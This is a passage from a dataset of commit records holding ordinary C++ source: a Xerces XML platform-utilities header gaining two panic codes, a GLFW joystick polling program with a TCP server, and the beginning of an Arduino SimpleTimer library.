(*iter)->first->GetId() << \",\" << (*iter)->second->GetId() << \"): \";\n out_nbl << (*iter)->j() << \" \" << abs((*iter)->j()) << \" \" << (*iter)->rate12() << \" \";\n out_nbl << (*iter)->r().getX() << \" \" << (*iter)->r().getY() << \" \" << (*iter)->r().getZ() << \" \";\n out_nbl << \" \" << abs((*iter)->r()) << endl;\n }\n }\n out_nbl.close();\n}\n\nvoid EasyJObserver::make_kmc_graph(graph *a, QMNBList &nblist){\n cout << \"[make_kmc_graph]: Building KMC Graph...\";\n \/\/\/ assign constants\n a->SetField(_E);\n \/\/\/ set vertices equal to centers of mass\n BeadContainer::iterator it;\n for(it=_qmtop->Beads().begin(); it!=_qmtop->Beads().end(); ++it){\n a->AddVertex((*it)->getPos(),_E); \/\/\/ TO DO: remove necessity for E-field at this point\n }\n \/\/\/ set edges, two edges 1->2 and 2->1 are created per neighboring pair\n for(QMNBList::iterator iter = nblist.begin(); iter!=nblist.end();++iter){\n a->AddEdge((*iter)->first->GetId(), (*iter)->second->GetId(), (*iter)->rate12(),(*iter)->r());\n a->AddEdge((*iter)->second->GetId(), (*iter)->first->GetId(), (*iter)->rate21(),-(*iter)->r());\n }\n cout << \" Done.\" << endl;\n}<|endoftext|>"} {"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n * \n * Copyright (c) 1999 The Apache Software Foundation. All rights \n * reserved.\n * \n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * \n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer. \n * \n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n * \n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment: \n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n * \n * 4. The names \"Xerces\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written \n * permission, please contact apache\\@apache.org.\n * \n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n * \n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n * \n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com . For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n\/**\n * $Log$\n * Revision 1.3 2000\/01\/19 00:56:59 roddey\n * Changes to get rid of dependence on old utils standard streams and to\n * get rid of the fgLibLocation stuff.\n *\n * Revision 1.2 2000\/01\/12 00:16:22 roddey\n * Changes to deal with multiply nested, relative pathed, entities and to deal\n * with the new URL class changes.\n *\n * Revision 1.1.1.1 1999\/11\/09 01:04:55 twl\n * Initial checkin\n *\n * Revision 1.3 1999\/11\/08 20:45:11 rahul\n * Swat for adding in Product name and CVS comment log variable.\n *\n *\/\n\n\n#if !defined(PLATFORMUTILS_HPP)\n#define PLATFORMUTILS_HPP\n\n#include <util\/XML4CDefs.hpp>\n#include <util\/XMLException.hpp>\n#include <util\/XMLUni.hpp>\n\nclass XMLMsgLoader;\nclass XMLNetAccessor;\nclass XMLTransService;\n\n\n\/\/\n\/\/ Generate an exception for platform utitilities to throw when something\n\/\/ goes awry.\n\/\/\nconst XMLCh gXMLPlatformUtilsException_Name[] =\n{\n chLatin_X, chLatin_M, chLatin_L, chLatin_P, chLatin_l, chLatin_a\n , chLatin_t, chLatin_f, chLatin_o, chLatin_r, chLatin_m, chLatin_E\n , chLatin_x, chLatin_c, chLatin_e, chLatin_p, chLatin_t, chLatin_i\n , chLatin_o, chLatin_n, chNull\n};\nMakeXML4CException(XMLPlatformUtilsException, XMLUTIL_EXPORT)\n\n\nclass XMLUTIL_EXPORT XMLPlatformUtils\n{\npublic :\n \/\/ -----------------------------------------------------------------------\n \/\/ Public types\n \/\/ -----------------------------------------------------------------------\n enum PanicReasons\n {\n Panic_NoTransService\n , Panic_NoDefTranscoder\n , Panic_CantFindLib\n , Panic_UnknownMsgDomain\n , Panic_CantLoadMsgDomain\n\n , PanicReasons_Count\n };\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Public, static data\n \/\/\n \/\/ fgNetAccessor\n \/\/ This is the network access implementation. This is provided by\n \/\/ the per-platform driver, so each platform can choose what actual\n \/\/ implementation it wants to use.\n \/\/\n \/\/ fgTransService\n \/\/ This is the transcoding service. This is provided by the per\n \/\/ platform driver, so each platform can choose what implemenation\n \/\/ it wants to use.\n \/\/ -----------------------------------------------------------------------\n static XMLNetAccessor* fgNetAccessor;\n static XMLTransService* fgTransService;\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Initialization method. This must be called first in any client code.\n \/\/ -----------------------------------------------------------------------\n static void Initialize();\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ The panic mechanism. If, during init, we cannot even get far enough\n \/\/ along to get transcoding up or get message loading working, we call\n \/\/ this.\n \/\/\n \/\/ Each platform can implement it however they want. This method is\n \/\/ expected to display something meaningful and end the process. The\n \/\/ enum indicates why its being called, to allow the per-platform code\n \/\/ to display something more specific if desired.\n \/\/ -----------------------------------------------------------------------\n static void panic\n (\n const PanicReasons reason\n );\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ File methods\n \/\/ -----------------------------------------------------------------------\n static unsigned int curFilePos(FileHandle theFile);\n static void closeFile(FileHandle theFile);\n static unsigned int fileSize(FileHandle theFile);\n static FileHandle openFile(const char* const fileName);\n static FileHandle openFile(const XMLCh* const fileName);\n static FileHandle openStdInHandle();\n static unsigned int readFileBuffer\n (\n FileHandle theFile\n , const unsigned int toRead\n , XMLByte* const toFill\n );\n static void resetFile(FileHandle theFile);\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ File system methods\n \/\/ -----------------------------------------------------------------------\n static XMLCh* getFullPath(const XMLCh* const srcPath);\n static bool isRelative(const XMLCh* const toCheck);\n static XMLCh* weavePaths\n (\n const XMLCh* const basePath\n , const XMLCh* const relativePath\n );\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Timing methods\n \/\/ -----------------------------------------------------------------------\n static unsigned long getCurrentMillis();\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Mutex methods\n \/\/ -----------------------------------------------------------------------\n static void closeMutex(void* const mtxHandle);\n static void lockMutex(void* const mtxHandle);\n static void* makeMutex();\n static void unlockMutex(void* const mtxHandle);\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ External message support\n \/\/ -----------------------------------------------------------------------\n static XMLMsgLoader* loadMsgSet(const XMLCh* const msgDomain);\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Miscellaneous synchronization methods\n \/\/ -----------------------------------------------------------------------\n static void* compareAndSwap\n (\n void** toFill\n , const void* const newValue\n , const void* const toCompare\n );\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Atomic Increment and Decrement\n \/\/\n \/\/ The function return value is positive if the result of the operation\n \/\/ was positive. Zero if the result of the operation was zero. Negative\n \/\/ if the result of the operation was negative. Except for the zero\n \/\/ case, the value returned may differ from the actual result of the\n \/\/ operation - only the sign and zero\/nonzero state is guaranteed to be\n \/\/ correct.\n \/\/ -----------------------------------------------------------------------\n static int atomicIncrement(int& location);\n static int atomicDecrement(int& location);\n\n\nprivate :\n \/\/ -----------------------------------------------------------------------\n \/\/ Private static methods. These are provided by the per-platform\n \/\/ implementation files.\n \/\/ -----------------------------------------------------------------------\n static XMLMsgLoader* loadAMsgSet(const XMLCh* const msgDomain);\n static XMLNetAccessor* makeNetAccessor();\n static XMLTransService* makeTransService();\n static void platformInit();\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Private static data members\n \/\/\n \/\/ fgInitFlag\n \/\/ This is used to avoid multiple inits if the client code calls us\n \/\/ more than once. They aren't supposed to, but some have trouble\n \/\/ keeping up if they are COM objects and such.\n \/\/ -----------------------------------------------------------------------\n static bool fgInitFlag;\n};\n\n#endif\n<commit_msg>Added two more 'panic' values, which were requested by folks who needed to report a couple more panic situations.<commit_after>\/*\n * The Apache Software License, Version 1.1\n * \n * Copyright (c) 1999 The Apache Software Foundation. All rights \n * reserved.\n * \n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * \n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer. \n * \n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n * \n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment: \n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n * \n * 4. The names \"Xerces\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written \n * permission, please contact apache\\@apache.org.\n * \n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n * \n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n * \n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com . For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n\/**\n * $Log$\n * Revision 1.4 2000\/01\/25 21:34:23 roddey\n * Added two more 'panic' values, which were requested by folks who needed\n * to report a couple more panic situations.\n *\n * Revision 1.3 2000\/01\/19 00:56:59 roddey\n * Changes to get rid of dependence on old utils standard streams and to\n * get rid of the fgLibLocation stuff.\n *\n * Revision 1.2 2000\/01\/12 00:16:22 roddey\n * Changes to deal with multiply nested, relative pathed, entities and to deal\n * with the new URL class changes.\n *\n * Revision 1.1.1.1 1999\/11\/09 01:04:55 twl\n * Initial checkin\n *\n * Revision 1.3 1999\/11\/08 20:45:11 rahul\n * Swat for adding in Product name and CVS comment log variable.\n *\n *\/\n\n\n#if !defined(PLATFORMUTILS_HPP)\n#define PLATFORMUTILS_HPP\n\n#include <util\/XML4CDefs.hpp>\n#include <util\/XMLException.hpp>\n#include <util\/XMLUni.hpp>\n\nclass XMLMsgLoader;\nclass XMLNetAccessor;\nclass XMLTransService;\n\n\n\/\/\n\/\/ Generate an exception for platform utitilities to throw when something\n\/\/ goes awry.\n\/\/\nconst XMLCh gXMLPlatformUtilsException_Name[] =\n{\n chLatin_X, chLatin_M, chLatin_L, chLatin_P, chLatin_l, chLatin_a\n , chLatin_t, chLatin_f, chLatin_o, chLatin_r, chLatin_m, chLatin_E\n , chLatin_x, chLatin_c, chLatin_e, chLatin_p, chLatin_t, chLatin_i\n , chLatin_o, chLatin_n, chNull\n};\nMakeXML4CException(XMLPlatformUtilsException, XMLUTIL_EXPORT)\n\n\nclass XMLUTIL_EXPORT XMLPlatformUtils\n{\npublic :\n \/\/ -----------------------------------------------------------------------\n \/\/ Public types\n \/\/ -----------------------------------------------------------------------\n enum PanicReasons\n {\n Panic_NoTransService\n , Panic_NoDefTranscoder\n , Panic_CantFindLib\n , Panic_UnknownMsgDomain\n , Panic_CantLoadMsgDomain\n , Panic_SynchronizationErr\n , Panic_SystemInit\n\n , PanicReasons_Count\n };\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Public, static data\n \/\/\n \/\/ fgNetAccessor\n \/\/ This is the network access implementation. This is provided by\n \/\/ the per-platform driver, so each platform can choose what actual\n \/\/ implementation it wants to use.\n \/\/\n \/\/ fgTransService\n \/\/ This is the transcoding service. This is provided by the per\n \/\/ platform driver, so each platform can choose what implemenation\n \/\/ it wants to use.\n \/\/ -----------------------------------------------------------------------\n static XMLNetAccessor* fgNetAccessor;\n static XMLTransService* fgTransService;\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Initialization method. This must be called first in any client code.\n \/\/ -----------------------------------------------------------------------\n static void Initialize();\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ The panic mechanism. If, during init, we cannot even get far enough\n \/\/ along to get transcoding up or get message loading working, we call\n \/\/ this.\n \/\/\n \/\/ Each platform can implement it however they want. This method is\n \/\/ expected to display something meaningful and end the process. The\n \/\/ enum indicates why its being called, to allow the per-platform code\n \/\/ to display something more specific if desired.\n \/\/ -----------------------------------------------------------------------\n static void panic\n (\n const PanicReasons reason\n );\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ File methods\n \/\/ -----------------------------------------------------------------------\n static unsigned int curFilePos(FileHandle theFile);\n static void closeFile(FileHandle theFile);\n static unsigned int fileSize(FileHandle theFile);\n static FileHandle openFile(const char* const fileName);\n static FileHandle openFile(const XMLCh* const fileName);\n static FileHandle openStdInHandle();\n static unsigned int readFileBuffer\n (\n FileHandle theFile\n , const unsigned int toRead\n , XMLByte* const toFill\n );\n static void resetFile(FileHandle theFile);\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ File system methods\n \/\/ -----------------------------------------------------------------------\n static XMLCh* getFullPath(const XMLCh* const srcPath);\n static bool isRelative(const XMLCh* const toCheck);\n static XMLCh* weavePaths\n (\n const XMLCh* const basePath\n , const XMLCh* const relativePath\n );\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Timing methods\n \/\/ -----------------------------------------------------------------------\n static unsigned long getCurrentMillis();\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Mutex methods\n \/\/ -----------------------------------------------------------------------\n static void closeMutex(void* const mtxHandle);\n static void lockMutex(void* const mtxHandle);\n static void* makeMutex();\n static void unlockMutex(void* const mtxHandle);\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ External message support\n \/\/ -----------------------------------------------------------------------\n static XMLMsgLoader* loadMsgSet(const XMLCh* const msgDomain);\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Miscellaneous synchronization methods\n \/\/ -----------------------------------------------------------------------\n static void* compareAndSwap\n (\n void** toFill\n , const void* const newValue\n , const void* const toCompare\n );\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Atomic Increment and Decrement\n \/\/\n \/\/ The function return value is positive if the result of the operation\n \/\/ was positive. Zero if the result of the operation was zero. Negative\n \/\/ if the result of the operation was negative. Except for the zero\n \/\/ case, the value returned may differ from the actual result of the\n \/\/ operation - only the sign and zero\/nonzero state is guaranteed to be\n \/\/ correct.\n \/\/ -----------------------------------------------------------------------\n static int atomicIncrement(int& location);\n static int atomicDecrement(int& location);\n\n\nprivate :\n \/\/ -----------------------------------------------------------------------\n \/\/ Private static methods. These are provided by the per-platform\n \/\/ implementation files.\n \/\/ -----------------------------------------------------------------------\n static XMLMsgLoader* loadAMsgSet(const XMLCh* const msgDomain);\n static XMLNetAccessor* makeNetAccessor();\n static XMLTransService* makeTransService();\n static void platformInit();\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Private static data members\n \/\/\n \/\/ fgInitFlag\n \/\/ This is used to avoid multiple inits if the client code calls us\n \/\/ more than once. They aren't supposed to, but some have trouble\n \/\/ keeping up if they are COM objects and such.\n \/\/ -----------------------------------------------------------------------\n static bool fgInitFlag;\n};\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <vector>\n#include <sstream>\n#include <algorithm>\n#include <chrono>\n#include <thread>\n\n#include <cfloat>\n\n#include <GLFW\/glfw3.h>\n\n#include \"compiler.h\"\n#include \"TCPServer.hpp\"\n\n#include \"data.hpp\"\n\nfloat lastDeviceUpdateTime = 0;\nfloat UpdateIntervalSeconds = 1;\n\n\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wunused-parameter\"\n\/\/ glfw callbacks\nstatic void error_callback(int error, const char* description)\n{\n fprintf(stderr, \"GFWL Error: %s\\n\", description);\n}\n\nstatic void framebuffer_size_callback(GLFWwindow* window, int width, int height)\n{\n glViewport(0, 0, width, height);\n}\n#pragma GCC diagnostic pop\n\n\n#ifdef _WINDOWS\n#include <tchar.h>\nint wmain(int argc, _TCHAR* argv[]) {\n#else\nint main(int argc, char** argv) {\n#endif\n\n\t\/\/ defaults\n\tunsigned int port = 60601;\n\n\t\/\/ command line params\n\tif (argc >= 2) {\n\t\tport = atoi(argv[1]);\n\t} else {\n\t\tstd::cout << \"Serving at default port: \" << port << std::endl;\n\t\tstd::cout << \"call 'input-logger xxxxxx' to specify the port manually.\" << std::endl;\n\t}\n\n \n \n \/\/ glfw window setup\n GLFWwindow* window;\n glfwSetErrorCallback(error_callback);\n \n if (!glfwInit())\n exit(EXIT_FAILURE);\n \n window = glfwCreateWindow(640, 480, \"Joystick Test\", NULL, NULL);\n if (!window)\n {\n glfwTerminate();\n exit(EXIT_FAILURE);\n }\n \n glfwSetFramebufferSizeCallback(window, framebuffer_size_callback);\n \n glfwMakeContextCurrent(window);\n glfwSwapInterval(1);\n \n while (!glfwWindowShouldClose(window))\n {\n\n }\n \n\n\n\n\t\/\/ setup networking\n\tboost::asio::io_service io_service;\n\tTCPServer server(io_service, port);\n\n\n\t\/\/ run!\n\n\tbool running = true;\n\twhile (running)\n\t{\n\n for (int i = GLFW_JOYSTICK_1; i <= GLFW_JOYSTICK_LAST; i++)\n {\n if (glfwJoystickPresent(i)) {\n int count;\n const float* axis = glfwGetJoystickAxes(i, &count);\n for (int j = 0; j < count; j++) {\n std::cout << \"stick: \" << i << \", axis: \" << j << \": \" << axis[j];\n }\n }\n }\n \n\n\t\t\/\/ deschedule this thread to save some resources...\n\t\t\/\/ time passed to the function is lower bound\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(1));\n \n running = running &&\n \t!glfwWindowShouldClose(window)\n && !(glfwGetKey(window, GLFW_KEY_ESCAPE) == GLFW_PRESS);\n \n glClear(GL_COLOR_BUFFER_BIT);\n glfwSwapBuffers(window);\n glfwPollEvents();\n\t}\n\n glfwTerminate();\n exit(EXIT_SUCCESS);\n\treturn 0;\n}\n<commit_msg>polling works, builds with xcode<commit_after>#include <iostream>\n#include <vector>\n#include <sstream>\n#include <algorithm>\n#include <chrono>\n#include <thread>\n\n#include <cfloat>\n\n#include <GLFW\/glfw3.h>\n\n#include \"compiler.h\"\n#include \"TCPServer.hpp\"\n\n#include \"data.hpp\"\n\nfloat lastDeviceUpdateTime = 0;\nfloat UpdateIntervalSeconds = 1;\n\n\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wunused-parameter\"\n\/\/ glfw callbacks\nstatic void error_callback(int error, const char* description)\n{\n fprintf(stderr, \"GFWL Error: %s\\n\", description);\n}\n\nstatic void framebuffer_size_callback(GLFWwindow* window, int width, int height)\n{\n glViewport(0, 0, width, height);\n}\n#pragma GCC diagnostic pop\n\n\n#ifdef _WINDOWS\n#include <tchar.h>\nint wmain(int argc, _TCHAR* argv[]) {\n#else\nint main(int argc, char** argv) {\n#endif\n\n\t\/\/ defaults\n\tunsigned int port = 60601;\n\n\t\/\/ command line params\n\tif (argc >= 2) {\n\t\tport = atoi(argv[1]);\n\t} else {\n\t\tstd::cout << \"Serving at default port: \" << port << std::endl;\n\t\tstd::cout << \"call 'input-logger xxxxxx' to specify the port manually.\" << std::endl;\n\t}\n\n \n \n \/\/ glfw window setup\n GLFWwindow* window;\n glfwSetErrorCallback(error_callback);\n \n if (!glfwInit())\n exit(EXIT_FAILURE);\n \n window = glfwCreateWindow(640, 480, \"Joystick Test\", NULL, NULL);\n if (!window)\n {\n glfwTerminate();\n exit(EXIT_FAILURE);\n }\n \n glfwSetFramebufferSizeCallback(window, framebuffer_size_callback);\n \n glfwMakeContextCurrent(window);\n glfwSwapInterval(1);\n \n\n std::cout << \"setting up server...\" << std::endl;\n\t\/\/ setup networking\n\tboost::asio::io_service io_service;\n\tTCPServer server(io_service, port);\n\n\n\t\/\/ run!\n\n\tbool running = true;\n\twhile (running)\n\t{\n for (int i = GLFW_JOYSTICK_1; i <= GLFW_JOYSTICK_LAST; i++)\n {\n if (glfwJoystickPresent(i)) {\n int count;\n const float* axis = glfwGetJoystickAxes(i, &count);\n for (int j = 0; j < count; j++) {\n std::cout << \"stick: \" << i << \", axis: \" << j << \": \" << axis[j] << std:: endl;\n }\n }\n }\n \n\n\t\t\/\/ deschedule this thread to save some resources...\n\t\t\/\/ time passed to the function is lower bound\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(1));\n \n running = running &&\n \t!glfwWindowShouldClose(window)\n && !(glfwGetKey(window, GLFW_KEY_ESCAPE) == GLFW_PRESS);\n \n glClear(GL_COLOR_BUFFER_BIT);\n glfwSwapBuffers(window);\n glfwPollEvents();\n\t}\n\n glfwTerminate();\n exit(EXIT_SUCCESS);\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * SimpleTimer.cpp\n *\n * SimpleTimer - A timer library for Arduino.\n * Author: mromani@ottotecnica.com\n * Copyright (c) 2010 OTTOTECNICA Italy\n *\n * Callback function parameters added & compiler warnings\n * removed by Bill Knight <billk@rosw.com> 20March2017\n *\n * This library is free software; you can redistribute it\n * and\/or modify it under the terms of the GNU Lesser\n * General Public License as published by the Free Software\n * Foundation; either version 2.1 of the License, or (at\n * your option) any later version.\n *\n * This library is distributed in the hope that it will\n * be useful, but WITHOUT ANY WARRANTY; without even the\n * implied warranty of MERCHANTABILITY or FITNESS FOR A\n * PARTICULAR PURPOSE. See the GNU Lesser General Public\n * License for more details.\n *\n * You should have received a copy of the GNU Lesser\n * General Public License along with this library; if not,\n * write to the Free Software Foundation, Inc.,\n * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n\n#include \"Blynk\/BlynkTimer.h\"\n\n\n\/\/ Select time function:\n\/\/static inline unsigned long elapsed() { return micros(); }\nstatic inline unsigned long elapsed() { return millis(); }\n\n\nSimpleTimer::SimpleTimer()\n : numTimers (-1)\n{\n}\n\nvoid SimpleTimer::init() {\n unsigned long current_millis = elapsed();\n\n for (int i = 0; i < MAX_TIMERS; i++) {\n memset(&timer[i], 0, sizeof (timer_t));\n timer[i].prev_millis = current_millis;\n }\n\n numTimers = 0;\n}\n\n\nvoid SimpleTimer::run() {\n int i;\n unsigned long current_millis;\n\n \/\/ get current time\n current_millis = elapsed();\n\n for (i = 0; i < MAX_TIMERS; i++) {\n\n timer[i].toBeCalled = DEFCALL_DONTRUN;\n\n \/\/ no callback == no timer, i.e. jump over empty slots\n if (timer[i].callback != NULL) {\n\n \/\/ is it time to process this timer ?\n \/\/ see http:\/\/arduino.cc\/forum\/index.php\/topic,124048.msg932592.html#msg932592\n\n if ((current_millis - timer[i].prev_millis) >= timer[i].delay) {\n\n \/\/ update time\n timer[i].prev_millis += timer[i].delay;\n\n \/\/ check if the timer callback has to be executed\n if (timer[i].enabled) {\n\n \/\/ \"run forever\" timers must always be executed\n if (timer[i].maxNumRuns == RUN_FOREVER) {\n timer[i].toBeCalled = DEFCALL_RUNONLY;\n }\n \/\/ other timers get executed the specified number of times\n else if (timer[i].numRuns < timer[i].maxNumRuns) {\n timer[i].toBeCalled = DEFCALL_RUNONLY;\n timer[i].numRuns++;\n\n \/\/ after the last run, delete the timer\n if (timer[i].numRuns >= timer[i].maxNumRuns) {\n timer[i].toBeCalled = DEFCALL_RUNANDDEL;\n }\n }\n }\n }\n }\n }\n\n for (i = 0; i < MAX_TIMERS; i++) {\n if (timer[i].toBeCalled == DEFCALL_DONTRUN)\n continue;\n\n if (timer[i].hasParam)\n (*(timer_callback_p)timer[i].callback)(timer[i].param);\n else\n (*(timer_callback)timer[i].callback)();\n\n if (timer[i].toBeCalled == DEFCALL_RUNANDDEL)\n deleteTimer(i);\n }\n}\n\n\n\/\/ find the first available slot\n\/\/ return -1 if none found\nint SimpleTimer::findFirstFreeSlot() {\n \/\/ all slots are used\n if (numTimers >= MAX_TIMERS) {\n return -1;\n }\n\n \/\/ return the first slot with no callback (i.e. free)\n for (int i = 0; i < MAX_TIMERS; i++) {\n if (timer[i].callback == NULL) {\n return i;\n }\n }\n\n \/\/ no free slots found\n return -1;\n}\n\n\nint SimpleTimer::setupTimer(unsigned long d, void* f, void* p, bool h, unsigned n) {\n int freeTimer;\n\n if (numTimers < 0) {\n init();\n }\n\n freeTimer = findFirstFreeSlot();\n if (freeTimer < 0) {\n return -1;\n }\n\n if (f == NULL) {\n return -1;\n }\n\n timer[freeTimer].delay = d;\n timer[freeTimer].callback = f;\n timer[freeTimer].param = p;\n timer[freeTimer].hasParam = h;\n timer[freeTimer].maxNumRuns = n;\n timer[freeTimer].enabled = true;\n timer[freeTimer].prev_millis = elapsed();\n\n numTimers++;\n\n return freeTimer;\n}\n\n\nint SimpleTimer::setTimer(unsigned long d, timer_callback f, unsigned n) {\n return setupTimer(d, (void *)f, NULL, false, n);\n}\n\nint SimpleTimer::setTimer(unsigned long d, timer_callback_p f, void* p, unsigned n) {\n return setupTimer(d, (void *)f, p, true, n);\n}\n\nint SimpleTimer::setInterval(unsigned long d, timer_callback f) {\n return setupTimer(d, (void *)f, NULL, false, RUN_FOREVER);\n}\n\nint SimpleTimer::setInterval(unsigned long d, timer_callback_p f, void* p) {\n return setupTimer(d, (void *)f, p, true, RUN_FOREVER);\n}\n\nint SimpleTimer::setTimeout(unsigned long d, timer_callback f) {\n return setupTimer(d, (void *)f, NULL, false, RUN_ONCE);\n}\n\nint SimpleTimer::setTimeout(unsigned long d, timer_callback_p f, void* p) {\n return setupTimer(d, (void *)f, p, true, RUN_ONCE);\n}\n\nbool SimpleTimer::changeInterval(unsigned numTimer, unsigned long d) {\n if (numTimer >= MAX_TIMERS) {\n return false;\n }\n\n \/\/ Updates interval of existing specified timer\n if (timer[numTimer].callback != NULL) {\n timer[numTimer].delay = d;\n timer[numTimer].prev_millis = elapsed();\n return true;\n }\n \/\/ false return for non-used numTimer, no callback\n return false;\n}\n\nvoid SimpleTimer::deleteTimer(unsigned timerId) {\n if (timerId >= MAX_TIMERS) {\n return;\n }\n\n \/\/ nothing to delete if no timers are in use\n if (numTimers == 0) {\n return;\n }\n\n \/\/ don't decrease the number of timers if the\n \/\/ specified slot is already empty\n if (timer[timerId].callback != NULL) {\n memset(&timer[timerId], 0, sizeof (timer_t));\n timer[timerId].prev_millis = elapsed();\n\n \/\/ update number of timers\n numTimers--;\n }\n}\n\n\n\/\/ function contributed by code@rowansimms.com\nvoid SimpleTimer::restartTimer(unsigned numTimer) {\n if (numTimer >= MAX_TIMERS) {\n return;\n }\n\n timer[numTimer].prev_millis = elapsed();\n}\n\n\nbool SimpleTimer::isEnabled(unsigned numTimer) {\n if (numTimer >= MAX_TIMERS) {\n return false;\n }\n\n return timer[numTimer].enabled;\n}\n\n\nvoid SimpleTimer::enable(unsigned numTimer) {\n if (numTimer >= MAX_TIMERS) {\n return;\n }\n\n timer[numTimer].enabled = true;\n}\n\n\nvoid SimpleTimer::disable(unsigned numTimer) {\n if (numTimer >= MAX_TIMERS) {\n return;\n }\n\n timer[numTimer].enabled = false;\n}\n\nvoid SimpleTimer::enableAll() {\n \/\/ Enable all timers with a callback assigned (used)\n for (int i = 0; i < MAX_TIMERS; i++) {\n if (timer[i].callback != NULL) {\n timer[i].enabled = true;\n }\n }\n}\n\nvoid SimpleTimer::disableAll() {\n \/\/ Disable all timers with a callback assigned (used)\n for (int i = 0; i < MAX_TIMERS; i++) {\n if (timer[i].callback != NULL) {\n timer[i].enabled = false;\n }\n }\n}\n\nvoid SimpleTimer::toggle(unsigned numTimer) {\n if 